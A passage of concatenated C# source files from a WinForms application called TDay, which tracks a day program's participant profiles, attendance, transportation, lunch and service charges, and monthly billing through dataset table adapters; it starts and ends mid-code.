Decimal.Zero; MiscellaneousPrice = Decimal.Zero; VanPrice = Decimal.Zero; BookOfTickets = Decimal.Zero; Total = LunchPrice + TakeOutPrice + MiscellaneousPrice + VanPrice + RoundTripPrice + BookOfTickets+ProgramPrice; break; case (int)Enums.Category.Employee: Employee employee = new Employee(ProfileUID); Attendance = true; Lunch = true; //Индийский код на на всякий случай, авось расширять буду и Lunch из какой нить задницы всплывет if (Lunch) { LunchPrice = Decimal.Parse(LunchRow["ServiceFee"].ToString()); } ProgramPrice = Decimal.Zero; TakeOutPrice = Decimal.Zero; MiscellaneousPrice = Decimal.Zero; VanPrice = Decimal.Zero; BookOfTickets = Decimal.Zero; Total = LunchPrice + TakeOutPrice + MiscellaneousPrice + VanPrice + RoundTripPrice + BookOfTickets + ProgramPrice; break; case (int)Enums.Category.Volunteer: Attendance = true; Lunch = true; //Индийский код на на всякий случай, авось расширять буду и Lunch из какой нить задницы всплывет if (Lunch) { LunchPrice = Decimal.Parse(LunchRow["ServiceFee"].ToString()); } ProgramPrice = Decimal.Zero; TakeOutPrice = Decimal.Zero; MiscellaneousPrice = Decimal.Zero; VanPrice = Decimal.Zero; BookOfTickets = Decimal.Zero; Total = LunchPrice + TakeOutPrice + MiscellaneousPrice + VanPrice + RoundTripPrice + BookOfTickets + ProgramPrice; break; case (int)Enums.Category.BoardMember: Attendance = true; Lunch = true; //Индийский код на на всякий случай, авось расширять буду и Lunch из какой нить задницы всплывет if (Lunch) { LunchPrice = Decimal.Parse(LunchRow["ServiceFee"].ToString()); } ProgramPrice = Decimal.Zero; TakeOutPrice = Decimal.Zero; MiscellaneousPrice = Decimal.Zero; VanPrice = Decimal.Zero; BookOfTickets = Decimal.Zero; Total = LunchPrice + TakeOutPrice + MiscellaneousPrice + VanPrice + RoundTripPrice + BookOfTickets + ProgramPrice; break; case (int)Enums.Category.Other: Attendance = true; Lunch = true; //Индийский код на на всякий случай, авось расширять буду и Lunch из какой нить задницы всплывет if (Lunch) { LunchPrice = Decimal.Parse(LunchRow["ServiceFee"].ToString()); } ProgramPrice = Decimal.Zero; TakeOutPrice = Decimal.Zero; MiscellaneousPrice = Decimal.Zero; VanPrice = Decimal.Zero; BookOfTickets = Decimal.Zero; Total = LunchPrice + TakeOutPrice + MiscellaneousPrice + VanPrice + RoundTripPrice + BookOfTickets + ProgramPrice; break; } } public DayItem(int ItemId, DateTime Date) { servicesTableAdapter.Fill(tDayDataSet.Services); daysTableAdapter.Fill(tDayDataSet.Days, Date); LunchRow = tDayDataSet.Services.FindByServiceId(1); //Не расширяемая ссылка на Сервис PrRow = tDayDataSet.Services.FindByServiceId(3); RTRow = tDayDataSet.Services.FindByServiceId(2); DataRow Row = tDayDataSet.Days.FindByDayId(ItemId); Attendance = (bool)Row["Attendance"]; Lunch = (bool)Row["Lunch"]; LunchPrice = Math.Round((decimal)Row["LunchPrice"],2); TakeOutPrice = (decimal)Row["TakeOutPrice"]; MiscellaneousPrice = (decimal)Row["MiscellaneousPrice"]; VanPrice = (decimal)Row["VanPrice"]; ProgramPrice = (decimal)Row["ProgramPrice"]; RoundTripPrice = (decimal)Row["RoundTripPrice"]; BookOfTickets = (decimal)Row["BookOfTickets"]; Total = (decimal)Row["Total"]; Comments = Row["Comments"].ToString(); DayId = (int)Row["DayId"]; this.Date = Date; if (ProfileProvider.GetCategory((int)Row["ProfileId"]) == 1) { LunchRow = tDayDataSet.Services.FindByServiceId(1); //Не расширяемая ссылка на Сервис } else { LunchRow = tDayDataSet.Services.FindByServiceId(4); } } public decimal GetLunchPrice() { return Decimal.Parse(LunchRow["ServiceFee"].ToString()); } public void Update() { daysTableAdapter.Fill(tDayDataSet.Days, this.Date); DataRow Row = tDayDataSet.Days.FindByDayId(this.DayId); Row["Attendance"] = Attendance; Row["Lunch"] = Lunch; Row["LunchPrice"] = LunchPrice; Row["TakeOutPrice"]=TakeOutPrice; Row["MiscellaneousPrice"]=MiscellaneousPrice; Row["VanPrice"]=VanPrice; Row["ProgramPrice"] = ProgramPrice; Row["RoundTripPrice"]=RoundTripPrice; Row["BookOfTickets"]=BookOfTickets; Row["Total"] = GetTotal(); Row["Comments"] = Comments; daysTableAdapter.Update(tDayDataSet.Days); } private decimal GetTotal() { return LunchPrice + TakeOutPrice + MiscellaneousPrice + VanPrice + RoundTripPrice + BookOfTickets+ProgramPrice; } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Data; namespace TDay { public class Day { TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.DaysTableAdapter daysTableAdapter = new TDayDataSetTableAdapters.DaysTableAdapter(); TDayDataSetTableAdapters.AttendanceTableAdapter attendanceTableAdapter = new TDayDataSetTableAdapters.AttendanceTableAdapter(); public bool IsCreated { get; set; } public DateTime Date { get; set; } public DayItem[] Items { get; set; } public int WeekDay { get; set; } public Day() { Date = DateTime.Now.Date; IsCreated = CheckCreated(); SetDayOfWeek(); } public void CreateDay() { IsCreated = CheckCreated(); if (!IsCreated) { attendanceTableAdapter.Fill(tDayDataSet.Attendance); foreach (DataRow Row in tDayDataSet.Attendance) { if (Date.DayOfWeek != DayOfWeek.Saturday && Date.DayOfWeek != DayOfWeek.Sunday) { if ((bool)Row[Date.DayOfWeek.ToString()] == true && (int)Row["ProfileId"] > 0 && !ProfileProvider.GetDelStatus((int)Row["ProfileId"])) { DayItem Item = new DayItem((int)Row["ProfileId"]); InsertItem(Item); } } } } } public bool CheckCreated() { bool _IsCreate = false; daysTableAdapter.Fill(tDayDataSet.Days,Date); foreach (DataRow Row in tDayDataSet.Days) { if ((DateTime)Row["Date"] == Date) { _IsCreate = true; break; } } return _IsCreate; } public bool IsInDay(DayItem Item) { bool _IsInDay = false; daysTableAdapter.Fill(tDayDataSet.Days, Date); foreach (DataRow Row in tDayDataSet.Days) { if ((int)Row["ProfileId"] == Item.ProfileId) { _IsInDay = true; break; } } return _IsInDay; } private void SetDayOfWeek() { WeekDay = (int)DateTime.Now.DayOfWeek; } public void ChangeDate(DateTime _Date) { this.Date = _Date; IsCreated = CheckCreated(); } public void InsertItem(DayItem Item) { daysTableAdapter.Insert(Date, Item.ProfileId, Item.Lunch, Item.LunchPrice, Item.TakeOutPrice,Item.ProgramPrice,Item.MiscellaneousPrice, Item.VanPrice, Item.RoundTripPrice, Item.BookOfTickets, Item.Comments, Item.Attendance,Item.Total,ProfileProvider.GetCategory(Item.ProfileId)); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Data; namespace TDay { public class Address:IDisposable { private bool disposed = false; TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.AddressesTableAdapter addressesTableAdapter = new TDayDataSetTableAdapters.AddressesTableAdapter(); public int AdressId { get; set; } public int ProfileId { get; set; } public string Addres { get; set; } public string City { get; set; } public string Province { get; set; } public string Country { get; set; } public string PostalCode { get; set; } public string Phone { get; set; } public string Email { get; set; } public string Cell { get; set; } public Address() { } public Address(int ProfileUID) { addressesTableAdapter.Fill(tDayDataSet.Addresses); foreach (DataRow Row in tDayDataSet.Addresses) { if (Row["ProfileId"].ToString() == ProfileUID.ToString()) { Addres = Row["Address"].ToString(); City = Row["City"].ToString(); Province = Row["Province"].ToString(); Country = Row["Country"].ToString(); PostalCode = Row["PostalCode"].ToString(); Phone = Row["Phone"].ToString(); Email = Row["Email"].ToString(); Cell = Row["Cell"].ToString(); AdressId = int.Parse(Row["AddressId"].ToString()); break; } } } public void AddAdressTo(Profile Profile) { addressesTableAdapter.Insert(Profile.ProfileUID, Addres, City, Province, Country, PostalCode, Phone, Cell, Email); } public void Update() { addressesTableAdapter.Fill(tDayDataSet.Addresses); DataRow Row = tDayDataSet.Addresses.FindByAddressId(this.AdressId); Row["Address"] = Addres; Row["City"] = City; Row["Province"] = Province; Row["Country"] = Country; Row["Phone"] = Phone; Row["Email"] = Email; Row["Cell"] = Cell; Row["PostalCode"] = PostalCode; addressesTableAdapter.Update(tDayDataSet.Addresses); } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (!disposed) { if (disposing) { // Free other state (managed objects). } // Free your own state (unmanaged objects). // Set large fields to null. disposed = true; } } ~Address() { Dispose(false); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Data; namespace TDay { public class Profile { TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.ProfilesTableAdapter ProfilesTableAdapter = new TDayDataSetTableAdapters.ProfilesTableAdapter(); TDayDataSetTableAdapters.TransportationTableAdapter transportationTableAdapter = new TDayDataSetTableAdapters.TransportationTableAdapter(); public int ProfileUID { get; set; } public string Name { get; set; } public string Occupation { get; set; } public DateTime DateOfBirdh { get; set; } public Address Adress { get; set; } public EmergencyContact EmergencyContact { get; set; } public Attendance Attendance { get; set; } public bool DelStatus { get; set; } public Profile() { Occupation = String.Empty; } public Profile(int ProfileUID) { this.ProfileUID = ProfileUID; ProfilesTableAdapter.FillAll(tDayDataSet.Profiles); foreach (DataRow Row in tDayDataSet.Profiles) { if (Row["ProfileId"].ToString() == ProfileUID.ToString()) { this.Name = Row["Name"].ToString(); this.DateOfBirdh = DateTime.Parse(Row["BirthDate"].ToString()); this.Occupation = Row["Occupation"].ToString(); this.Adress = new Address(ProfileUID); this.EmergencyContact = new EmergencyContact(ProfileUID, false); this.Attendance = new Attendance(ProfileUID); break; } } } public void Update() { ProfilesTableAdapter.Fill(tDayDataSet.Profiles); DataRow Row = tDayDataSet.Profiles.FindByProfileId(ProfileUID); Row["Name"] = Name; Row["BirthDate"] = DateOfBirdh; Row["Occupation"] = Occupation; ProfilesTableAdapter.Update(tDayDataSet.Profiles); Adress.Update(); if (Attendance.AttendanceId!=0) { Attendance.Update(); } if (EmergencyContact.EmergencyId!=0) { EmergencyContact.Update(); } } public void Create(Enums.Category Category) { ProfilesTableAdapter.Insert(Name, (int)Category, DateOfBirdh, null, null, null, Occupation, null, null, null, null, null, null, null,null,false,false); ProfilesTableAdapter.Fill(tDayDataSet.Profiles); this.ProfileUID = tDayDataSet.Profiles[tDayDataSet.Profiles.Count - 1].ProfileId; } public void Delete() { ProfilesTableAdapter.Fill(tDayDataSet.Profiles); DataRow Row = tDayDataSet.Profiles.FindByProfileId(ProfileUID); Row["DelStatus"] = true; ProfilesTableAdapter.Update(tDayDataSet.Profiles); //ProfilesTableAdapter.Delete(ProfileUID); transportationTableAdapter.Delete(ProfileUID); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace TDay { public class BillsItemTablePart { } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace TDay { public static class Session { public static int UserId { get; set; } public static int Group { get; set; } public static string Login { get; set; } public static string Password { get; set; } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Data; namespace TDay { public class Attendance { private bool disposed = false; TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.AttendanceTableAdapter attendanceTableAdapter = new TDayDataSetTableAdapters.AttendanceTableAdapter(); public int ProfileId{ get; set; } public int AttendanceId { get; set; } public bool Monday { get; set; } public bool Tuesday { get; set; } public bool Wednesday { get; set; } public bool Thursday { get; set; } public bool Friday { get; set; } public Attendance() { } public Attendance(int ProfileUID) { attendanceTableAdapter.Fill(tDayDataSet.Attendance); foreach (DataRow Row in tDayDataSet.Attendance) { if (Row["ProfileId"].ToString() == ProfileUID.ToString()) { Monday = bool.Parse(Row["Monday"].ToString()); Tuesday = bool.Parse(Row["Tuesday"].ToString()); Wednesday = bool.Parse(Row["Wednesday"].ToString()); Thursday = bool.Parse(Row["Thursday"].ToString()); Friday = bool.Parse(Row["Friday"].ToString()); AttendanceId = int.Parse(Row["AttendanceId"].ToString()); break; } } } public void AddAttendanceTo(Profile Profile) { attendanceTableAdapter.Insert(Profile.ProfileUID, Monday, Tuesday, Wednesday, Thursday, Friday); } public void Update() { attendanceTableAdapter.Fill(tDayDataSet.Attendance); DataRow Row = tDayDataSet.Attendance.FindByAttendanceId(AttendanceId); Row["Monday"] = Monday; Row["Tuesday"] = Tuesday; Row["Wednesday"] = Wednesday; Row["Thursday"] = Thursday; Row["Friday"] = Friday; attendanceTableAdapter.Update(tDayDataSet.Attendance); } public bool GetDay(int DW) { bool _IsInDay = false; switch (DW) { case 1: if (Monday) { _IsInDay = true; } break; case 2: if (Tuesday) { _IsInDay = true; } break; case 3: if (Wednesday) { _IsInDay = true; } break; case 4: if (Thursday) { _IsInDay = true; } break; case 5: if (Friday) { _IsInDay = true; } break; } return _IsInDay; } public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (!disposed) { if (disposing) { // Free other state (managed objects). } // Free your own state (unmanaged objects). // Set large fields to null. disposed = true; } } ~Attendance() { Dispose(false); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Data; namespace TDay { public class Transportation { TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.TransportationTableAdapter transportationTableAdapter = new TDayDataSetTableAdapters.TransportationTableAdapter(); public int TransportationId { get; set; } public int ProfileId { get; set; } public string Category { get; set; } public string HandyDARTNumber { get; set; } public bool Monday { get; set; } public bool Tuesday { get; set; } public bool Wednesday { get; set; } public bool Thursday { get; set; } public bool Friday { get; set; } public string Comments { get; set; } public string Address { get; set; } public string Phone { get; set; } public Transportation() { Category = String.Empty; HandyDARTNumber = String.Empty; } public Transportation(int ProfileUID) { transportationTableAdapter.Fill(tDayDataSet.Transportation); foreach (DataRow Row in tDayDataSet.Transportation) { if (Row["ProfileId"].ToString() == ProfileUID.ToString()) { Category = Row["Category"].ToString(); HandyDARTNumber = Row["HandyDARTNumber"].ToString(); Monday = bool.Parse(Row["Monday"].ToString()); Tuesday = bool.Parse(Row["Tuesday"].ToString()); Wednesday = bool.Parse(Row["Wednesday"].ToString()); Thursday = bool.Parse(Row["Thursday"].ToString()); Friday = bool.Parse(Row["Friday"].ToString()); Comments = Row["Comments"].ToString(); Address = Row["Adress"].ToString(); Phone = Row["Phone"].ToString(); TransportationId = int.Parse(Row["TransportationId"].ToString()); break; } } } public void Update() { transportationTableAdapter.Fill(tDayDataSet.Transportation); DataRow Row = tDayDataSet.Transportation.FindByTransportationId(TransportationId); Row["Category"] = Category; Row["HandyDARTNumber"] = HandyDARTNumber; Row["Monday"] = Monday; Row["Tuesday"] = Tuesday; Row["Wednesday"] = Wednesday; Row["Thursday"] = Thursday; Row["Friday"] = Friday; Row["Comments"] = Comments; Row["Adress"] = Address; Row["Phone"] = Phone; transportationTableAdapter.Update(tDayDataSet.Transportation); } public void AddTransportationTo(Profile Profile) { transportationTableAdapter.Insert(Profile.ProfileUID, Category, HandyDARTNumber, Monday, Tuesday, Wednesday, Thursday, Friday, Comments,Address,Phone); } public bool GetDay(int DW) { bool _IsInDay = false; switch (DW) { case 1: if (Monday) { _IsInDay = true; } break; case 2: if (Tuesday) { _IsInDay = true; } break; case 3: if (Wednesday) { _IsInDay = true; } break; case 4: if (Thursday) { _IsInDay = true; } break; case 5: if (Friday) { _IsInDay = true; } break; } return _IsInDay; } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Data; namespace TDay { public class BillsItem { TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.DaysTableAdapter daysTableAdapter = new TDayDataSetTableAdapters.DaysTableAdapter(); TDayDataSetTableAdapters.BillsTableAdapter billsTableAdapter = new TDayDataSetTableAdapters.BillsTableAdapter(); //public int BillId { get; set; } public DateTime Date { get; set; } public int BillId { get; set; } public int ProfileIdBills { get; set; } public decimal BillTotal { get; set; } public decimal Paid { get; set; } public string PaidType { get; set; } public DateTime PaidDate { get; set; } public decimal PreviousBillTotal { get; set; } public decimal PreviousBillPaid { get; set; } public DateTime PreviousBillPaidDate { get; set; } public Profile Profile { get; set; } public BillsItem(int ProfileId, DateTime FirstDayOfMonth, DateTime LastDayOfMonth) { Date = DateTime.Now.Date; ProfileIdBills = ProfileId; BillTotal = Decimal.Zero; Paid = Decimal.Zero; PaidType = "Cash"; PaidDate = DateTime.Now.Date; daysTableAdapter.FillByMonth(tDayDataSet.Days, FirstDayOfMonth, LastDayOfMonth); foreach (DataRow Row in tDayDataSet.Days) { if ((int)Row["ProfileId"] == ProfileId) { BillTotal += (decimal)Row["Total"]; } } PreviousBillTotal = GetPreviousBillTotal(ProfileId, FirstDayOfMonth, LastDayOfMonth); PreviousBillPaid = GetPreviousBillPaid(ProfileId, FirstDayOfMonth, LastDayOfMonth); PreviousBillPaidDate = GetPreviousBillPaidDate(ProfileId, FirstDayOfMonth, LastDayOfMonth); } public BillsItem(int ItemId) { billsTableAdapter.Fill(tDayDataSet.Bills); DataRow _Item = tDayDataSet.Bills.FindByBillId(ItemId); Date = DateTime.Now.Date; BillId = ItemId; ProfileIdBills = (int)_Item["ProfileId"]; BillTotal = GetBillTotal((int)_Item["ProfileId"],Bill.GetFirstMonthDay(Date),Bill.GetLastMonthDay(Date)); Paid = (decimal)_Item["Paid"]; PaidDate = (DateTime)_Item["PaidDate"]; PaidType = (string) _Item["PaidType"]; Profile = new Profile((int)_Item["ProfileId"]); PreviousBillPaid = GetPreviousBillPaid((int)_Item["ProfileId"], Bill.GetFirstMonthDay((DateTime)_Item["Date"]), Bill.GetLastMonthDay((DateTime)_Item["Date"])); PreviousBillTotal = (decimal)_Item["PreviousBillTotal"]; PreviousBillPaidDate = (DateTime)_Item["PreviousBillPaidDate"]; _Item["BillTotal"] = BillTotal; billsTableAdapter.Update(tDayDataSet); } public void Update() { billsTableAdapter.Fill(tDayDataSet.Bills); DataRow _Item = tDayDataSet.Bills.FindByBillId(BillId); _Item["Paid"] = Paid; _Item["PaidType"] = PaidType; _Item["PaidDate"] = PaidDate; billsTableAdapter.Update(tDayDataSet); } private decimal GetBillTotal(int _ProfileId, DateTime FirstDayOfMonth, DateTime LastDayOfMonth) { decimal _PreBillTotal = decimal.Zero; TDayDataSet tempSet = new TDayDataSet(); daysTableAdapter.FillByMonth(tempSet.Days, FirstDayOfMonth, LastDayOfMonth); foreach (DataRow Row in tempSet.Days) { if ((int)Row["ProfileId"] == _ProfileId) { _PreBillTotal += (decimal)Row["Total"]; } } tempSet.Dispose(); return _PreBillTotal; } private decimal GetPreviousBillTotal(int _ProfileId, DateTime FirstDayOfMonth, DateTime LastDayOfMonth) { decimal _PreBillTotal = decimal.Zero; TDayDataSet tempSet = new TDayDataSet(); billsTableAdapter.FillByMonth(tempSet.Bills, FirstDayOfMonth.AddMonths(-1), LastDayOfMonth.AddMonths(-1)); foreach (DataRow Row in tempSet.Bills) { if ((int)Row["ProfileId"] == _ProfileId) { _PreBillTotal = (decimal)Row["BillTotal"]; break; } } tempSet.Dispose(); return _PreBillTotal; } private decimal GetPreviousBillPaid(int _ProfileId, DateTime FirstDayOfMonth, DateTime LastDayOfMonth) { decimal _PreBillTotal = decimal.Zero; TDayDataSet tempSet = new TDayDataSet(); billsTableAdapter.FillByMonth(tempSet.Bills, FirstDayOfMonth.AddMonths(-1), LastDayOfMonth.AddMonths(-1)); foreach (DataRow Row in tempSet.Bills) { if ((int)Row["ProfileId"] == _ProfileId) { _PreBillTotal = (decimal)Row["Paid"]; break; } } tempSet.Dispose(); return _PreBillTotal; } private DateTime GetPreviousBillPaidDate(int _ProfileId, DateTime FirstDayOfMonth, DateTime LastDayOfMonth) { DateTime _PreBillTotal = DateTime.Now.Date; TDayDataSet tempSet = new TDayDataSet(); billsTableAdapter.FillByMonth(tempSet.Bills, FirstDayOfMonth.AddMonths(-1), LastDayOfMonth.AddMonths(-1)); foreach (DataRow Row in tempSet.Bills) { if ((int)Row["ProfileId"] == _ProfileId) { _PreBillTotal = (DateTime)Row["PaidDate"]; break; } } tempSet.Dispose(); return _PreBillTotal; } public void Insert() { billsTableAdapter.Insert(Date, ProfileIdBills, BillTotal, Paid, PaidType, PaidDate, PreviousBillTotal, PreviousBillPaid, PreviousBillPaidDate); } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace TDay { public partial class MainFrame : Form { public MainFrame() { InitializeComponent(); if (TDay.Properties.Settings.Default.DebugMode) { this.Text = "TDay"; this.Text = "TDay" + " Version:" + TDay.Properties.Settings.Default.CurrentVersion + "|DebugMode"; } else { this.Text = "TDay"; } } public bool SortByCategory = false; public string CategoryFilter = String.Empty; public string _TransportDay = String.Empty; public Day CurrentDay = new Day(); TDayDataSetTableAdapters.ServicesTableAdapter servicesTableAdapter = new TDayDataSetTableAdapters.ServicesTableAdapter(); private void MainFrame_Load(object sender, EventArgs e) { // TODO: данная строка кода позволяет загрузить данные в таблицу "tDayDataSet.Bills". При необходимости она может быть перемещена или удалена. this.billsTableAdapter.Fill(this.tDayDataSet.Bills); // TODO: данная строка кода позволяет загрузить данные в таблицу "tDayDataSet.Transportation". При необходимости она может быть перемещена или удалена. transportationTableAdapter.Fill(this.tDayDataSet.Transportation); // TODO: данная строка кода позволяет загрузить данные в таблицу "tDayDataSet.Days". При необходимости она может быть перемещена или удалена. // TODO: данная строка кода позволяет загрузить данные в таблицу "tDayDataSet.Categories". При необходимости она может быть перемещена или удалена. this.categoriesTableAdapter.Fill(this.tDayDataSet.Categories); // TODO: данная строка кода позволяет загрузить данные в таблицу "tDayDataSet.Profiles". При необходимости она может быть перемещена или удалена. this.profilesTableAdapter.FillAll(this.tDayDataSet.Profiles); tabControl1.DrawMode = TabDrawMode.OwnerDrawFixed; tabControl1.Appearance = TabAppearance.Buttons; tabControl1.ItemSize = new System.Drawing.Size(0, 1); tabControl1.SizeMode = TabSizeMode.Fixed; tabControl1.TabStop = false; tabControl2.DrawMode = TabDrawMode.OwnerDrawFixed; tabControl2.Appearance = TabAppearance.Buttons; tabControl2.ItemSize = new System.Drawing.Size(0, 1); tabControl2.SizeMode = TabSizeMode.Fixed; tabControl2.TabStop = false; toolStripComboBox3.SelectedIndex = 0; daysBindingSource1.Filter = "Category=1"; daysBindingSource3.Filter = "Category>1"; DataGridViewCellEventArgs sen = new DataGridViewCellEventArgs(0, 0); CurrentDay.CreateDay(); this.daysTableAdapter.Fill(this.tDayDataSet.Days,CurrentDay.Date); textBox_weekday.Text = CurrentDay.Date.DayOfWeek.ToString(); textBox_date.Text = CurrentDay.Date.ToShortDateString(); ReCountTotals(); CheckPermission(); } private void RelDataGrid2(object sender, int RowIndex) { this.profilesTableAdapter.Fill(this.tDayDataSet.Profiles); if (dataGridView1.Rows.Count > 0 && RowIndex<dataGridView1.Rows.Count) { DataGridViewCellEventArgs sel = new DataGridViewCellEventArgs(0, RowIndex); dataGridView1_CellClick(this, sel); } } private void button1_Click(object sender, EventArgs e) { CurrentDay.CreateDay(); tabControl1.SelectedTab = Attendance; profilesTableAdapter.FillAll(tDayDataSet.Profiles); daysTableAdapter.Fill(tDayDataSet.Days,CurrentDay.Date); daysBindingSource1.Filter="Category=1"; daysBindingSource3.Filter = "Category>1"; ReCountTotals(); } private void button2_Click(object sender, EventArgs e) { tabControl1.SelectedTab = Profiles; profilesTableAdapter.Fill(tDayDataSet.Profiles); if (dataGridView1.Rows.Count > 0) { DataGridViewCellEventArgs sel = new DataGridViewCellEventArgs(0,0); dataGridView1_CellClick(sender, sel); } } private void button3_Click(object sender, EventArgs e) { tabControl1.SelectedTab = Transportation; profilesTableAdapter.FillAll(tDayDataSet.Profiles); transportationTableAdapter.Fill(tDayDataSet.Transportation); transportationBindingSource2.Filter = "Category='Own'"; transportationBindingSource1.Filter = "Category='HandyDART'"; button12_Click(sender, e); } private void button4_Click(object sender, EventArgs e) { Bill _Bill = new Bill(); billsTableAdapter.Fill(tDayDataSet.Bills); tabControl1.SelectedTab = Bills; richTextBox1.Text = TDay.Properties.Settings.Default.PlantString; richTextBox1.SelectAll(); richTextBox1.SelectionAlignment = HorizontalAlignment.Center; richTextBox2.SelectAll(); richTextBox2.SelectionAlignment = HorizontalAlignment.Center; daysBindingSource2.Filter = "ProfileId=-1"; daysTableAdapter.FillByMonth(tDayDataSet.Days, _Bill.FirstDayOfMonth, _Bill.LastDayOfMonth); dataGridView6.Sort(dateDataGridViewTextBoxColumn2, ListSortDirection.Ascending); profilesTableAdapter.FillAll(tDayDataSet.Profiles); if (dataGridView5.Rows.Count > 0) { dataGridView5_CellClick(sender,new DataGridViewCellEventArgs(0,0)); } } private void toolStripButton1_Click(object sender, EventArgs e) { AddProfile src = new AddProfile(); src.ShowDialog(); } private void dataGridView1_CellClick(object sender, DataGridViewCellEventArgs e) { button8.Enabled = true; if (e.RowIndex < dataGridView1.Rows.Count && e.RowIndex>=0) { dataGridView1.Rows[e.RowIndex].Selected = true; switch (dataGridView1.Rows[e.RowIndex].Cells["categoryDataGridViewTextBoxColumn"].Value.ToString()) { #region Client case "1": tabControl2.SelectedTab = ClientTab; Client client = new Client(Int32.Parse(dataGridView1.Rows[e.RowIndex].Cells[0].Value.ToString())); textBox_ClientName.Text = client.Name; textBox_ClientBirth.Text = client.DateOfBirdh.ToShortDateString(); textBox_ClientParis.Text = client.ParisNumber; textBox_ClientAdress.Text = client.Adress.Addres; textBox_ClientCity.Text = client.Adress.City; textBox_ClientProvince.Text = client.Adress.Province; textBox_ClientCountry.Text = client.Adress.Country; textBox_ClientPostal.Text = client.Adress.PostalCode; textBox_ClientPhone.Text = client.Adress.Phone; textBox_ClientEmail.Text = client.Adress.Email; radioButton4.Checked = client.Own; radioButton5.Checked = !client.Own; if (!client.Own) { label5.Visible = true; textBox_ClientHD.Visible = true; } else { label5.Visible = false; textBox_ClientHD.Visible = false; } textBox_ClientEmerName.Text = client.EmergencyContact.Name; textBox_ClientEmPhone.Text = client.EmergencyContact.Phone; textBox_ClientRelation.Text = client.EmergencyContact.Relation; textBox_ClientHD.Text = client.Transportation.HandyDARTNumber; textBox_ClientDocName.Text = client.DoctorName; textBoxClientDocPhone.Text = client.DoctorPhone; textBox_ClientPharmName.Text = client.PharmacistName; textBox_ClientPharmPhone.Text = client.PharmacistPhone; ClientMember.Checked = client.Member; if (client.DopEmergencyContact != null) { toolStripLabel5.Visible = true; toolStripLabel6.Visible = true; toolStripLabel7.Visible = true; toolStripTextBox_EmName.Visible = true; toolStripTextBox_EmPhone.Visible = true; toolStripTextBox54.Visible = true; toolStripButton23.Visible = false; toolStripTextBox_EmName.Text = client.DopEmergencyContact.Name; toolStripTextBox_EmPhone.Text = client.DopEmergencyContact.Phone; toolStripTextBox54.Text = client.DopEmergencyContact.Relation; } else { toolStripButton23.Visible = true; toolStripLabel5.Visible = false; toolStripLabel6.Visible = false; toolStripLabel7.Visible = false; toolStripTextBox_EmName.Visible = false; toolStripTextBox54.Visible = false; toolStripTextBox_EmPhone.Visible = false; } checkBox2.Checked = client.Attendance.Monday; checkBox3.Checked = client.Attendance.Tuesday; checkBox4.Checked = client.Attendance.Wednesday; checkBox5.Checked = client.Attendance.Thursday; checkBox6.Checked = client.Attendance.Friday; checkBox11.Checked = client.Transportation.Monday; checkBox10.Checked = client.Transportation.Tuesday; checkBox9.Checked = client.Transportation.Wednesday; checkBox8.Checked = client.Transportation.Thursday; checkBox7.Checked = client.Transportation.Friday; break; #endregion #region Employee case "2": tabControl2.SelectedTab = EmployeeTab; Employee employee = new Employee(Int32.Parse(dataGridView1.Rows[e.RowIndex].Cells[0].Value.ToString())); textBox_EmpName.Text = employee.Name; textBox_EmpBirth.Text = employee.DateOfBirdh.ToShortDateString(); textBox_EmpHire.Text = employee.HireDate.ToShortDateString(); textBox_EmpPosition.Text = employee.Position; textBox_EmpSin.Text = employee.SIN; switch (employee.PositionType) { case "Causal": radioButton1.Checked = true; break; case "Part time": radioButton2.Checked = true; break; case "Full time": radioButton3.Checked = true; break; } textBox_EmpAdress.Text = employee.Adress.Addres; textBox_EmpCity.Text = employee.Adress.City; textBox_EmpProvince.Text = employee.Adress.Province; textBox_EmpCountry.Text = employee.Adress.Country; textBox_EmpPostal.Text = employee.Adress.PostalCode; textBox_EmpPhone.Text = employee.Adress.Phone; textBox_EmpEmail.Text = employee.Adress.Email; textBox_EmpCell.Text = employee.Adress.Cell; textBox_EmpEmerCN.Text = employee.EmergencyContact.Name; textBox_EmerCP.Text = employee.EmergencyContact.Phone; textBox_EmpRelation.Text = employee.EmergencyContact.Relation; checkBox16.Checked = employee.Attendance.Monday; checkBox15.Checked = employee.Attendance.Tuesday; checkBox14.Checked = employee.Attendance.Wednesday; checkBox13.Checked = employee.Attendance.Thursday; checkBox12.Checked = employee.Attendance.Friday; break; #endregion #region Volonteer case "3": tabControl2.SelectedTab = VolunteerTab; Profile volonteer = new Profile(Int32.Parse(dataGridView1.Rows[e.RowIndex].Cells[0].Value.ToString())); textBox_VolName.Text = volonteer.Name; textBox_VolBirth.Text = volonteer.DateOfBirdh.ToShortDateString(); textBox_VolAdress.Text = volonteer.Adress.Addres; textBox_VolCity.Text = volonteer.Adress.City; textBox_VolProvince.Text = volonteer.Adress.Province; textBox_VolCountry.Text = volonteer.Adress.Country; textBox_VolPostal.Text = volonteer.Adress.PostalCode; textBox_VolPhone.Text = volonteer.Adress.Phone; textBox_VolEmail.Text = volonteer.Adress.Email; textBox_VolCell.Text = volonteer.Adress.Cell; textBox_VolEmerCN.Text = volonteer.EmergencyContact.Name; textBox_VolEmerCP.Text = volonteer.EmergencyContact.Phone; textBox_VolEmerRelation.Text = volonteer.EmergencyContact.Relation; checkBox21.Checked = volonteer.Attendance.Monday; checkBox20.Checked = volonteer.Attendance.Tuesday; checkBox19.Checked = volonteer.Attendance.Wednesday; checkBox18.Checked = volonteer.Attendance.Thursday; 